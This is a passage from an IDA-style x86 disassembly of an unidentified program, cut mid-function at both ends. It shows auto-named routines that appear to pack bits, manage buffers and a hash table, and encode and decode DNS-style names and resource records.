[edi+2Ch], eax jnz short loc_4140C9 mov dword_421D3C, 7 jmp loc_4141A1 ; --------------------------------------------------------------------------- loc_4140C5: ; CODE XREF: sub_41403A+67j and dword ptr [edi+2Ch], 0 loc_4140C9: ; CODE XREF: sub_41403A+7Aj mov eax, [edi+38h] push 1 lea ecx, [ebp+arg_0] push ecx push edi mov byte ptr [ebp+arg_0], 2Ch call dword ptr [eax+40h] mov eax, [ebp+arg_4] add esp, 0Ch mov ecx, edi call sub_413B9F mov eax, [ebp+arg_8] mov ecx, edi call sub_413B9F mov ecx, edi mov eax, ebx call sub_413B9F mov eax, [ebp+arg_10] mov ecx, edi call sub_413B9F test esi, esi jz short loc_41410E mov eax, [esi+4] dec eax jmp short loc_414110 ; --------------------------------------------------------------------------- loc_41410E: ; CODE XREF: sub_41403A+CCj xor eax, eax loc_414110: ; CODE XREF: sub_41403A+D2j test esi, esi setz cl dec cl push 1 and ecx, 80h cmp [ebp+arg_14], 0 setz dl dec dl and edx, 40h or cl, dl or cl, al mov eax, [edi+38h] mov byte ptr [ebp+arg_0], cl lea ecx, [ebp+arg_0] push ecx push edi call dword ptr [eax+40h] xor eax, eax add esp, 0Ch cmp esi, eax jz short loc_41418D cmp [esi], eax mov [ebp+var_8], eax jle short loc_41418D mov [ebp+var_4], eax loc_414150: ; CODE XREF: sub_41403A+14Fj mov ecx, [ebp+var_4] mov eax, [esi+8] add eax, ecx mov cl, [eax] mov byte ptr [ebp+arg_0], cl mov cl, [eax+1] mov byte ptr [ebp+arg_0+1], cl mov al, [eax+2] push 3 lea ecx, [ebp+arg_0] push ecx mov byte ptr [ebp+arg_0+2], al mov eax, [edi+38h] push edi call dword ptr [eax+40h] add esp, 0Ch cmp eax, 3 jnz short loc_4141A5 inc [ebp+var_8] add [ebp+var_4], eax mov eax, [ebp+var_8] cmp eax, [esi] jl short loc_414150 xor eax, eax loc_41418D: ; CODE XREF: sub_41403A+10Aj ; sub_41403A+111j cmp [edi+10h], eax jnz short loc_4141B1 cmp [edi+2Ch], eax jnz short loc_4141B1 mov dword_421D3C, 5 loc_4141A1: ; CODE XREF: sub_41403A+86j ; sub_41403A+175j xor eax, eax jmp short loc_4141C6 ; --------------------------------------------------------------------------- loc_4141A5: ; CODE XREF: sub_41403A+142j mov dword_421D3C, 2 jmp short loc_4141A1 ; --------------------------------------------------------------------------- loc_4141B1: ; CODE XREF: sub_41403A+156j ; sub_41403A+15Bj imul ebx, [ebp+arg_10] mov eax, [ebp+var_C] or dword ptr [eax], 4 mov [eax+34h], ebx call sub_413E5D xor eax, eax inc eax loc_4141C6: ; CODE XREF: sub_41403A+169j pop esi pop ebx loc_4141C8: ; CODE XREF: sub_41403A+2Cj pop edi leave retn sub_41403A endp ; =============== S U B R O U T I N E ======================================= sub_4141CB proc near ; CODE XREF: sub_402DEC+76p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi mov edi, [esp+4+arg_0] mov ecx, [edi+38h] test byte ptr [ecx], 1 jnz short loc_4141E6 mov dword_421D3C, 0Ah loc_4141E2: ; CODE XREF: sub_4141CB+37j xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_4141E6: ; CODE XREF: sub_4141CB+Bj mov edx, [esp+4+arg_8] test edx, edx jnz short loc_4141F1 mov edx, [edi+20h] loc_4141F1: ; CODE XREF: sub_4141CB+21j mov eax, [ecx+34h] cmp eax, edx jnb short loc_414204 mov dword_421D3C, 6 jmp short loc_4141E2 ; --------------------------------------------------------------------------- loc_414204: ; CODE XREF: sub_4141CB+2Bj sub eax, edx mov [ecx+34h], eax mov eax, [ecx+8] mov al, byte_421C9C[eax] xor ecx, ecx test edx, edx push esi mov esi, [esp+8+arg_4] jle short loc_414225 loc_41421D: ; CODE XREF: sub_4141CB+58j and [ecx+esi], al inc ecx cmp ecx, edx jl short loc_41421D loc_414225: ; CODE XREF: sub_4141CB+50j push edx push esi push edi call sub_413EFF add esp, 0Ch pop esi pop edi retn sub_4141CB endp ; =============== S U B R O U T I N E ======================================= sub_414233 proc near ; CODE XREF: sub_402C86+B0p ; sub_402C86:loc_402DA1p ... mov eax, dword_421D3C cmp eax, 65h jg short locret_414240 jz short locret_414240 dec eax locret_414240: ; CODE XREF: sub_414233+8j ; sub_414233+Aj retn sub_414233 endp ; =============== S U B R O U T I N E ======================================= sub_414241 proc near ; CODE XREF: sub_413E5D+6Bp ; sub_413EFF+FEp ... arg_0 = dword ptr 4 push 8000h push 0FFh push [esp+8+arg_0] call sub_40CCD9 add esp, 0Ch retn sub_414241 endp ; =============== S U B R O U T I N E ======================================= sub_414258 proc near ; CODE XREF: sub_413A73:loc_413AB4p push esi push 8000h call sub_40CC7F mov esi, eax test esi, esi pop ecx jnz short loc_41426C pop esi retn ; --------------------------------------------------------------------------- loc_41426C: ; CODE XREF: sub_414258+10j push esi call sub_414241 pop ecx mov eax, esi pop esi retn sub_414258 endp ; =============== S U B R O U T I N E ======================================= sub_414277 proc near ; CODE XREF: sub_413EFF+111p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push ebx push esi push edi mov edi, [esp+0Ch+arg_4] mov eax, edi shr eax, 0Ch xor eax, edi mov esi, 1FFFh mov ecx, 0FFFFF000h jmp short loc_414296 ; --------------------------------------------------------------------------- loc_414295: ; CODE XREF: sub_414277+28j inc eax loc_414296: ; CODE XREF: sub_414277+1Cj and eax, esi mov ebx, [edx+eax*4] and ebx, ecx cmp ebx, ecx jnz short loc_414295 mov ecx, [esp+0Ch+arg_8] shl edi, 0Ch and ecx, 0FFFh or ecx, edi pop edi pop esi mov [edx+eax*4], ecx pop ebx retn sub_414277 endp ; =============== S U B R O U T I N E ======================================= sub_4142B7 proc near ; CODE XREF: sub_413EFF+A8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi shr ecx, 0Ch xor ecx, [esp+4+arg_4] push edi mov edi, [esp+8+arg_0] mov esi, 1FFFh mov edx, 0FFFFFh jmp short loc_4142DB ; --------------------------------------------------------------------------- loc_4142D4: ; CODE XREF: sub_4142B7+2Ej cmp [esp+8+arg_4], eax jz short loc_4142ED inc ecx loc_4142DB: ; CODE XREF: sub_4142B7+1Bj and ecx, esi mov eax, [edi+ecx*4] shr eax, 0Ch cmp eax, edx jnz short loc_4142D4 or eax, 0FFFFFFFFh loc_4142EA: ; CODE XREF: sub_4142B7+3Ej pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4142ED: ; CODE XREF: sub_4142B7+21j mov eax, [edi+ecx*4] and eax, 0FFFh jmp short loc_4142EA sub_4142B7 endp ; =============== S U B R O U T I N E ======================================= sub_4142F7 proc near ; CODE XREF: sub_41430E+7p arg_0 = dword ptr 4 xor eax, eax inc eax loc_4142FA: ; CODE XREF: sub_4142F7+14j xor edx, edx inc edx mov ecx, eax shl edx, cl cmp edx, [esp+arg_0] jge short locret_41430D inc eax cmp eax, 8 jle short loc_4142FA locret_41430D: ; CODE XREF: sub_4142F7+Ej retn sub_4142F7 endp ; =============== S U B R O U T I N E ======================================= sub_41430E proc near ; CODE XREF: sub_402B17+Cp ; sub_402C86+104p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push edi mov edi, [esp+8+arg_0] push edi call sub_4142F7 mov ebx, eax xor eax, eax pop ecx inc eax mov ecx, ebx shl eax, cl cmp edi, eax jz short loc_41432C xor eax, eax jmp short loc_414370 ; --------------------------------------------------------------------------- loc_41432C: ; CODE XREF: sub_41430E+18j push esi push 0Ch call sub_40CC7F mov esi, eax test esi, esi pop ecx jz short loc_41434C push 3 push edi call sub_40CC93 test eax, eax pop ecx pop ecx mov [esi+8], eax jnz short loc_414350 loc_41434C: ; CODE XREF: sub_41430E+2Bj xor eax, eax jmp short loc_41436F ; --------------------------------------------------------------------------- loc_414350: ; CODE XREF: sub_41430E+3Cj cmp [esp+0Ch+arg_4], 0 mov [esi], edi mov [esi+4], ebx jz short loc_41436D imul edi, 3 push edi push [esp+10h+arg_4] push eax call sub_40CCF7 add esp, 0Ch loc_41436D: ; CODE XREF: sub_41430E+4Cj mov eax, esi loc_41436F: ; CODE XREF: sub_41430E+40j pop esi loc_414370: ; CODE XREF: sub_41430E+1Cj pop edi pop ebx retn sub_41430E endp ; =============== S U B R O U T I N E ======================================= sub_414373 proc near ; CODE XREF: sub_402BDD+Bp ; sub_41312A+2Cp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_41438C push dword ptr [esi+8] call sub_40CCC5 push esi call sub_40CCC5 pop ecx pop ecx loc_41438C: ; CODE XREF: sub_414373+7j pop esi retn sub_414373 endp ; =============== S U B R O U T I N E ======================================= sub_41438E proc near ; CODE XREF: sub_4143D6+42p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_4143D4 mov eax, [esi+24h] test eax, eax jz short loc_4143D4 mov ecx, [esi+20h] imul ecx, 0Ch push edi mov edi, eax add ecx, eax cmp edi, ecx jnb short loc_4143C6 loc_4143AD: ; CODE XREF: sub_41438E+36j push dword ptr [edi+4] call sub_40CCC5 mov eax, [esi+20h] imul eax, 0Ch add eax, [esi+24h] add edi, 0Ch cmp edi, eax pop ecx jb short loc_4143AD loc_4143C6: ; CODE XREF: sub_41438E+1Dj push dword ptr [esi+24h] call sub_40CCC5 and dword ptr [esi+24h], 0 pop ecx pop edi loc_4143D4: ; CODE XREF: sub_41438E+7j ; sub_41438E+Ej pop esi retn sub_41438E endp ; =============== S U B R O U T I N E ======================================= sub_4143D6 proc near ; CODE XREF: sub_41312A+56p arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] test edi, edi jz short loc_41443C push esi mov esi, [edi+30h] test esi, esi jz short loc_41443B mov eax, [edi+14h] imul eax, 28h add eax, esi jmp short loc_41442A ; --------------------------------------------------------------------------- loc_4143F1: ; CODE XREF: sub_4143D6+56j mov eax, [esi+14h] test eax, eax jz short loc_414403 push eax call sub_414373 and dword ptr [esi+14h], 0 pop ecx loc_414403: ; CODE XREF: sub_4143D6+20j mov eax, [esi+18h] test eax, eax jz short loc_414411 push eax call sub_40CCC5 pop ecx loc_414411: ; CODE XREF: sub_4143D6+32j cmp dword ptr [esi+24h], 0 jz short loc_41441E push esi call sub_41438E pop ecx loc_41441E: ; CODE XREF: sub_4143D6+3Fj mov eax, [edi+14h] imul eax, 28h add esi, 28h add eax, [edi+30h] loc_41442A: ; CODE XREF: sub_4143D6+19j cmp esi, eax jb short loc_4143F1 push dword ptr [edi+30h] call sub_40CCC5 and dword ptr [edi+30h], 0 pop ecx loc_41443B: ; CODE XREF: sub_4143D6+Fj pop esi loc_41443C: ; CODE XREF: sub_4143D6+7j pop edi retn sub_4143D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41443E proc near ; CODE XREF: sub_41527E+23p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, ecx call sub_40DB48 push [ebp+arg_0] lea esi, [edi+8] and dword ptr [esi], 0 mov ecx, edi call sub_4012E7 push 0 call sub_40CFAE add eax, [ebp+arg_4] mov ebx, [ebp+arg_8] mov [edi+4], eax lea eax, ds:8[ebx*4] push eax call sub_40D0BB pop ecx pop ecx push eax mov ecx, esi call sub_408034 mov eax, [esi] test eax, eax jz short loc_4144AC and [ebp+arg_0], 0 test ebx, ebx mov [eax], ebx jbe short loc_4144AC loc_414492: ; CODE XREF: sub_41443E+6Cj mov eax, [ebp+arg_0] mov edx, [ebp+arg_C] mov ecx, [esi] shl eax, 2 inc [ebp+arg_0] cmp [ebp+arg_0], ebx mov edx, [eax+edx] mov [eax+ecx+4], edx jb short loc_414492 loc_4144AC: ; CODE XREF: sub_41443E+48j ; sub_41443E+52j mov eax, edi pop edi pop esi pop ebx pop ebp retn 10h sub_41443E endp ; =============== S U B R O U T I N E ======================================= sub_4144B5 proc near ; CODE XREF: sub_415397+5Fp ; sub_415457+2Cp arg_0 = dword ptr 4 push ebx push esi push edi mov ebx, ecx call sub_40DB48 mov edi, [esp+0Ch+arg_0] lea esi, [ebx+8] and dword ptr [esi], 0 push 0 push dword ptr [edi] mov ecx, ebx call sub_40DB5E mov eax, [edi+4] mov [ebx+4], eax mov eax, [edi+8] mov eax, [eax] lea eax, ds:8[eax*4] push eax call sub_40D0BB pop ecx push eax mov ecx, esi call sub_408034 mov eax, [esi] test eax, eax jz short loc_41451E mov ecx, [edi+8] mov ecx, [ecx] mov [eax], ecx mov ecx, [esi] xor eax, eax cmp [ecx], eax jbe short loc_41451E loc_41450A: ; CODE XREF: sub_4144B5+67j mov ecx, [edi+8] mov ecx, [ecx+eax*4+4] mov edx, [esi] mov [edx+eax*4+4], ecx mov ecx, [esi] inc eax cmp eax, [ecx] jb short loc_41450A loc_41451E: ; CODE XREF: sub_4144B5+44j ; sub_4144B5+53j pop edi pop esi mov eax, ebx pop ebx retn 4 sub_4144B5 endp ; =============== S U B R O U T I N E ======================================= sub_414526 proc near ; CODE XREF: sub_4154AD+FDp push esi push edi lea edi, [ecx+8] mov eax, [edi] mov esi, [eax] test esi, esi jbe short loc_414544 add eax, 4 mov ecx, esi loc_414538: ; CODE XREF: sub_414526+1Cj cmp dword ptr [eax], 0 jnz short loc_41453E dec esi loc_41453E: ; CODE XREF: sub_414526+15j add eax, 4 dec ecx jnz short loc_414538 loc_414544: ; CODE XREF: sub_414526+Bj lea eax, ds:8[esi*4] push eax call sub_40D0BB mov [eax], esi pop ecx mov ecx, [edi] xor edx, edx cmp [ecx], edx jbe short loc_414573 lea esi, [eax+4] loc_41455F: ; CODE XREF: sub_414526+4Bj mov ecx, [ecx+edx*4+4] test ecx, ecx jz short loc_41456C mov [esi], ecx add esi, 4 loc_41456C: ; CODE XREF: sub_414526+3Fj mov ecx, [edi] inc edx cmp edx, [ecx] jb short loc_41455F loc_414573: ; CODE XREF: sub_414526+34j push eax mov ecx, edi call sub_408034 pop edi pop esi retn sub_414526 endp ; =============== S U B R O U T I N E ======================================= sub_41457E proc near ; CODE XREF: sub_414592+3Bp ; sub_414592+5Ap ... arg_0 = dword ptr 4 cmp [esp+arg_0], 0 jz short locret_41458F push [esp+arg_0] call sub_40CCC5 pop ecx locret_41458F: ; CODE XREF: sub_41457E+5j retn 4 sub_41457E endp ; =============== S U B R O U T I N E ======================================= sub_414592 proc near ; CODE XREF: sub_414B68+2E7p ; sub_415F7D+1A5p arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] push edi xor edi, edi cmp esi, edi mov ebx, ecx jz loc_4146D0 movzx eax, word ptr [esi+14h] cmp ax, di jz short loc_4145F1 cmp [esi+1Ch], edi jz short loc_4145F1 cmp ax, di jbe short loc_4145E7 loc_4145B8: ; CODE XREF: sub_414592+53j mov eax, [esi+1Ch] lea eax, [eax+edi*4] cmp dword ptr [eax], 0 jz short loc_4145DE mov eax, [eax] push dword ptr [eax+108h] mov ecx, ebx call sub_41457E mov eax, [esi+1Ch] push dword ptr [eax+edi*4] call sub_40CCC5 pop ecx loc_4145DE: ; CODE XREF: sub_414592+2Fj movzx eax, word ptr [esi+14h] inc edi cmp edi, eax jl short loc_4145B8 loc_4145E7: ; CODE XREF: sub_414592+24j push dword ptr [esi+1Ch] mov ecx, ebx call sub_41457E loc_4145F1: ; CODE XREF: sub_414592+1Aj ; sub_414592+1Fj movzx eax, word ptr [esi+16h] xor edi, edi cmp ax, di jz short loc_414639 cmp [esi+20h], edi jz short loc_414639 cmp ax, di jbe short loc_41462F loc_414606: ; CODE XREF: sub_414592+9Bj mov eax, [esi+20h] mov eax, [eax+edi*4] push dword ptr [eax+110h] mov ecx, ebx call sub_41457E mov eax, [esi+20h] push dword ptr [eax+edi*4] mov ecx, ebx call sub_41457E movzx eax, word ptr [esi+16h] inc edi cmp edi, eax jl short loc_414606 loc_41462F: ; CODE XREF: sub_414592+72j push dword ptr [esi+20h] mov ecx, ebx call sub_41457E loc_414639: ; CODE XREF: sub_414592+68j ; sub_414592+6Dj movzx eax, word ptr [esi+18h] xor edi, edi cmp ax, di jz short loc_414681 cmp [esi+24h], edi jz short loc_414681 cmp ax, di jbe short loc_414677 loc_41464E: ; CODE XREF: sub_414592+E3j mov eax, [esi+24h] mov eax, [eax+edi*4] push dword ptr [eax+110h] mov ecx, ebx call sub_41457E mov eax, [esi+24h] push dword ptr [eax+edi*4] mov ecx, ebx call sub_41457E movzx eax, word ptr [esi+18h] inc edi cmp edi, eax jl short loc_41464E loc_414677: ; CODE XREF: sub_414592+BAj push dword ptr [esi+24h] mov ecx, ebx call sub_41457E loc_414681: ; CODE XREF: sub_414592+B0j ; sub_414592+B5j movzx eax, word ptr [esi+1Ah] xor edi, edi cmp ax, di jz short loc_4146C9 cmp [esi+28h], edi jz short loc_4146C9 cmp ax, di jbe short loc_4146BF loc_414696: ; CODE XREF: sub_414592+12Bj mov eax, [esi+28h] mov eax, [eax+edi*4] push dword ptr [eax+110h] mov ecx, ebx call sub_41457E mov eax, [esi+28h] push dword ptr [eax+edi*4] mov ecx, ebx call sub_41457E movzx eax, word ptr [esi+1Ah] inc edi cmp edi, eax jl short loc_414696 loc_4146BF: ; CODE XREF: sub_414592+102j push dword ptr [esi+28h] mov ecx, ebx call sub_41457E loc_4146C9: ; CODE XREF: sub_414592+F8j ; sub_414592+FDj push esi call sub_40CCC5 pop ecx loc_4146D0: ; CODE XREF: sub_414592+Dj pop edi pop esi pop ebx retn 4 sub_414592 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4146D6 proc near ; CODE XREF: sub_4146D6+A5p ; sub_414787+1Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push edi mov edi, [ebp+arg_8] mov eax, [edi] cmp byte ptr [eax], 0 mov [ebp+var_4], ecx jnz short loc_4146F4 mov eax, [ebp+arg_0] mov byte ptr [eax], 0 inc dword ptr [edi] xor eax, eax jmp short loc_41474B ; --------------------------------------------------------------------------- loc_4146F4: ; CODE XREF: sub_4146D6+10j mov ecx, [ebp+arg_0] push ebx mov ebx, [ebp+arg_4] push esi jmp short loc_414742 ; --------------------------------------------------------------------------- loc_4146FE: ; CODE XREF: sub_4146D6+6Ej mov eax, [edi] cmp eax, [ebp+arg_10] jnb short loc_414782 movzx esi, byte ptr [eax] inc eax test esi, esi mov [edi], eax jz short loc_414750 mov edx, esi and dx, 0C0h cmp dl, 0C0h jz short loc_414758 lea edx, [eax+esi] cmp edx, [ebp+arg_10] jnb short loc_414782 lea edx, [esi+ecx] mov [ebp+arg_0], edx inc edx cmp edx, ebx jnb short loc_414746 push esi push eax push ecx call sub_40CCF7 mov ecx, [ebp+arg_0] add esp, 0Ch mov byte ptr [ecx], 2Eh inc ecx add [edi], esi loc_414742: ; CODE XREF: sub_4146D6+26j cmp ecx, ebx jb short loc_4146FE loc_414746: ; CODE XREF: sub_4146D6+56j push 2 pop eax loc_414749: ; CODE XREF: sub_4146D6+80j ; sub_4146D6+AAj ... pop esi pop ebx loc_41474B: ; CODE XREF: sub_4146D6+1Cj pop edi leave retn 14h ; --------------------------------------------------------------------------- loc_414750: ; CODE XREF: sub_4146D6+37j mov byte ptr [ecx-1], 0 xor eax, eax jmp short loc_414749 ; --------------------------------------------------------------------------- loc_414758: ; CODE XREF: sub_4146D6+43j movzx edx, byte ptr [eax] push [ebp+arg_10] and esi, 3Fh shl esi, 8 add esi, edx inc eax mov [edi], eax mov eax, [ebp+arg_C] push eax add esi, eax lea eax, [ebp+arg_0] push eax push ebx push ecx mov ecx, [ebp+var_4] mov [ebp+arg_0], esi call sub_4146D6 jmp short loc_414749 ; --------------------------------------------------------------------------- loc_414782: ; CODE XREF: sub_4146D6+2Dj ; sub_4146D6+4Bj xor eax, eax inc eax jmp short loc_414749 sub_4146D6 endp ; =============== S U B R O U T I N E ======================================= sub_414787 proc near ; CODE XREF: sub_414B68+1DBp ; sub_414B68+254p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov esi, [esp+8+arg_4] push edi push [esp+0Ch+arg_C] mov edi, [esp+10h+arg_0] push [esp+10h+arg_8] lea eax, [edi+0FFh] push esi push eax push edi call sub_4146D6 mov ebx, eax test ebx, ebx jnz loc_4148A0 mov ecx, [esi] movzx ecx, byte ptr [ecx] lea eax, [edi+100h] mov [eax], ecx inc dword ptr [esi] mov edx, [eax] mov ecx, [esi] movzx ecx, byte ptr [ecx] shl edx, 8 add edx, ecx mov [eax], edx inc dword ptr [esi] mov ecx, [esi] movzx ecx, byte ptr [ecx] lea eax, [edi+104h] mov [eax], ecx inc dword ptr [esi] mov edx, [eax] mov ecx, [esi] movzx ecx, byte ptr [ecx] shl edx, 8 add edx, ecx mov [eax], edx inc dword ptr [esi] mov eax, [esi] movzx eax, byte ptr [eax] mov [edi+108h], eax inc dword ptr [esi] mov eax, [esi] movzx eax, byte ptr [eax] mov ecx, [edi+108h] shl ecx, 8 add ecx, eax mov [edi+108h], ecx inc dword ptr [esi] mov eax, [esi] movzx eax, byte ptr [eax] mov ecx, [edi+108h] shl ecx, 8 add ecx, eax mov [edi+108h], ecx inc dword ptr [esi] mov eax, [esi] movzx eax, byte ptr [eax] mov ecx, [edi+108h] shl ecx, 8 add ecx, eax mov [edi+108h], ecx inc dword ptr [esi] mov eax, [esi] movzx ax, byte ptr [eax] mov [edi+10Ch], ax inc dword ptr [esi] mov eax, [esi] movzx ax, byte ptr [eax] mov cx, [edi+10Ch] shl cx, 8 add cx, ax mov [edi+10Ch], cx inc dword ptr [esi] movzx eax, word ptr [edi+10Ch] push eax call sub_40CC7F movzx ecx, word ptr [edi+10Ch] push ecx mov [edi+110h], eax push dword ptr [esi] push eax call sub_40CCF7 movzx eax, word ptr [edi+10Ch] add esp, 10h add [esi], eax loc_4148A0: ; CODE XREF: sub_414787+25j pop edi pop esi mov eax, ebx pop ebx retn 10h sub_414787 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4148A8 proc near ; CODE XREF: sub_414B68+160p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov ebx, [esi] push edi push [ebp+arg_C] mov edi, [ebp+arg_0] push [ebp+arg_8] lea eax, [edi+0FFh] push esi push eax push edi call sub_4146D6 test eax, eax mov [ebp+arg_4], eax jnz short loc_41490F mov ecx, [esi] movzx ecx, byte ptr [ecx] lea eax, [edi+100h] mov [eax], ecx inc dword ptr [esi] mov ecx, [esi] movzx ecx, byte ptr [ecx] mov edx, [eax] shl edx, 8 add edx, ecx mov [eax], edx inc dword ptr [esi] mov ecx, [esi] movzx ecx, byte ptr [ecx] lea eax, [edi+104h] mov [eax], ecx inc dword ptr [esi] mov ecx, [esi] mov edx, [eax] movzx ecx, byte ptr [ecx] shl edx, 8 add edx, ecx mov [eax], edx inc dword ptr [esi] loc_41490F: ; CODE XREF: sub_4148A8+27j mov eax, [esi] sub eax, ebx lea esi, [edi+10Ch] push eax mov [esi], eax call sub_40CC7F push dword ptr [esi] mov [edi+108h], eax push ebx push eax call sub_40CCF7 mov eax, [ebp+arg_4] add esp, 10h pop edi pop esi pop ebx pop ebp retn 10h sub_4148A8 endp ; =============== S U B R O U T I N E ======================================= sub_41493D proc near ; CODE XREF: sub_4149C4+1Dp ; sub_414AD3+19p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] test edi, edi mov eax, 400h mov [esi+4], eax jz short loc_4149B5 push eax call sub_40CC7F lea ebx, [eax+400h] cmp eax, ebx pop ecx mov [esi], eax mov edx, eax jnb short loc_4149AD loc_414969: ; CODE XREF: sub_41493D+5Aj mov byte ptr [eax], 0 inc eax cmp byte ptr [edi], 0 jz short loc_414999 loc_414972: ; CODE XREF: sub_41493D+48j cmp eax, ebx jnb short loc_4149AD mov cl, [edi] test cl, cl jz short loc_414987 cmp cl, 2Eh jz short loc_414987 mov [eax], cl inc eax inc edi jmp short loc_414972 ; --------------------------------------------------------------------------- loc_414987: ; CODE XREF: sub_41493D+3Dj ; sub_41493D+42j mov cl, al sub cl, dl dec cl mov [edx], cl cmp byte ptr [edi], 2Eh jnz short loc_414995 inc edi loc_414995: ; CODE XREF: sub_41493D+55j mov edx, eax jmp short loc_414969 ; --------------------------------------------------------------------------- loc_414999: ; CODE XREF: sub_41493D+33j mov ecx, [esi] sub eax, ecx push eax push ecx mov [esi+4], eax call sub_40CCAD pop ecx pop ecx mov [esi], eax jmp short loc_4149BC ; --------------------------------------------------------------------------- loc_4149AD: ; CODE XREF: sub_41493D+2Aj ; sub_41493D+37j push dword ptr [esi] call sub_40CCC5 pop ecx loc_4149B5: ; CODE XREF: sub_41493D+15j and dword ptr [esi+4], 0 and dword ptr [esi], 0 loc_4149BC: ; CODE XREF: sub_41493D+6Ej pop edi mov eax, esi pop esi pop ebx retn 8 sub_41493D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4149C4 proc near ; CODE XREF: sub_414E58+104p ; sub_414E58+138p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx xor eax, eax push edi mov edi, [ebp+arg_8] inc eax cmp [edi+104h], eax jnz loc_414ACE push edi lea eax, [ebp+var_8] push eax call sub_41493D cmp [ebp+var_8], 0 jnz short loc_4149F4 push 2 pop eax jmp loc_414ACE ; --------------------------------------------------------------------------- loc_4149F4: ; CODE XREF: sub_4149C4+26j movzx ecx, word ptr [edi+10Ch] push ebx mov ebx, [ebp+var_4] push esi mov esi, [ebp+arg_0] mov eax, [esi] add ecx, eax lea ecx, [ecx+ebx+0Ah] cmp ecx, [ebp+arg_4] jb short loc_414A18 push 4 pop eax jmp loc_414ACC ; --------------------------------------------------------------------------- loc_414A18: ; CODE XREF: sub_4149C4+4Aj push ebx push [ebp+var_8] push eax call sub_40CCF7 push [ebp+var_8] call sub_40CCC5 add [esi], ebx mov ecx, [esi] lea eax, [edi+100h] mov edx, [eax] sar edx, 8 mov [ecx], dl inc dword ptr [esi] mov al, [eax] mov ecx, [esi] mov [ecx], al inc dword ptr [esi] mov ecx, [edi+104h] mov eax, [esi] sar ecx, 8 mov [eax], cl inc dword ptr [esi] mov cl, [edi+104h] mov eax, [esi] mov [eax], cl inc dword ptr [esi] mov cl, [edi+10Bh] mov eax, [esi] mov [eax], cl inc dword ptr [esi] mov cl, [edi+10Ah] mov eax, [esi] mov [eax], cl inc dword ptr [esi] mov cl, [edi+109h] mov eax, [esi] mov [eax], cl inc dword ptr [esi] mov cl, [edi+108h] mov eax, [esi] mov [eax], cl inc dword ptr [esi] mov cl, [edi+10Dh] mov eax, [esi] mov [eax], cl inc dword ptr [esi] mov eax, [esi] mov cl, [edi+10Ch] mov [eax], cl inc dword ptr [esi] movzx ecx, word ptr [edi+10Ch] mov eax, [esi] push ecx push dword ptr [edi+110h] push eax call sub_40CCF7 movzx eax, word ptr [edi+10Ch] add [esi], eax add esp, 1Ch xor eax, eax loc_414ACC: ; CODE XREF: sub_4149C4+4Fj pop esi pop ebx loc_414ACE: ; CODE XREF: sub_4149C4+12j ; sub_4149C4+2Bj pop edi leave retn 0Ch sub_4149C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414AD3 proc near ; CODE XREF: sub_414E58+D0p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx xor eax, eax push edi mov edi, [ebp+arg_8] inc eax cmp [edi+104h], eax jnz short loc_414B63 push edi lea eax, [ebp+var_8] push eax call sub_41493D cmp [ebp+var_8], 0 jnz short loc_414AFC push 2 pop eax jmp short loc_414B63 ; --------------------------------------------------------------------------- loc_414AFC: ; CODE XREF: sub_414AD3+22j push ebx mov ebx, [ebp+var_4] push esi mov esi, [ebp+arg_0] mov eax, [esi] lea ecx, [eax+ebx+4] cmp ecx, [ebp+arg_4] jb short loc_414B14 push 4 pop eax jmp short loc_414B61 ; --------------------------------------------------------------------------- loc_414B14: ; CODE XREF: sub_414AD3+3Aj push ebx push [ebp+var_8] push eax call sub_40CCF7 push [ebp+var_8] call sub_40CCC5 add [esi], ebx mov ecx, [esi] lea eax, [edi+100h] mov edx, [eax] sar edx, 8 mov [ecx], dl add esp, 10h inc dword ptr [esi] mov al, [eax] mov ecx, [esi] mov [ecx], al inc dword ptr [esi] mov ecx, [edi+104h] mov eax, [esi] sar ecx, 8 mov [eax], cl inc dword ptr [esi] mov eax, [esi] mov cl, [edi+104h] mov [eax], cl inc dword ptr [esi] xor eax, eax loc_414B61: ; CODE XREF: sub_414AD3+3Fj pop esi pop ebx loc_414B63: ; CODE XREF: sub_414AD3+12j ; sub_414AD3+27j pop edi leave retn 0Ch sub_414AD3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414B68 proc near ; CODE XREF: sub_415F7D+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0Ch mov [ebp+var_4], ecx jge short 